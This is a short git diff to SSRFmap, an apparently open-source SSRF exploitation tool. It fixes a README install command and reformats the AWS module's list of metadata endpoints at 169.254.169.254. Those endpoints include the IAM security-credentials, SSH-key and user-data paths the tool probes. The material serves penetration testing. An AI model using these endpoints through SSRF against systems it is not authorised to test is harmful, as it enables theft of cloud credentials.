diff --git a/README.md b/README.md index 0eba320..3ae2d8c 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ Basic install from the Github repository. ```powershell git clone https://github.com/swisskyrepo/SSRFmap cd SSRFmap/ -pip3 install requirements.txt +pip3 install -r requirements.txt python3 ssrfmap.py usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [--lhost LHOST] [--lport LPORT] [--level LEVEL] diff --git a/modules/aws.py b/modules/aws.py index dc713ce..c3ee31f 100644 --- a/modules/aws.py +++ b/modules/aws.py @@ -48,15 +48,15 @@ class exploit(): def add_endpoints(self): - self.endpoints.add( ("169.254.169.254/","latest/user-data") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/ami-id") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/reservation-id") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/hostname") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/public-keys/0/openssh-key") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/public-keys/1/openssh-key") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/public-keys/2/openssh-key") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/iam/security-credentials/dummy") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/iam/security-credentials/ecsInstanceRole") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/iam/security-credentials/") ) - self.endpoints.add( ("169.254.169.254/","latest/meta-data/public-keys/") ) - self.endpoints.add( ("169.254.169.254/","latest/user-data/") ) \ No newline at end of file + self.endpoints.add( ("169.254.169.254","latest/user-data") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/0/openssh-key") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/1/openssh-key") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/2/openssh-key") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/dummy") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/ecsInstanceRole") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/") ) + self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/") ) + self.endpoints.add( ("169.254.169.254","latest/user-data/") )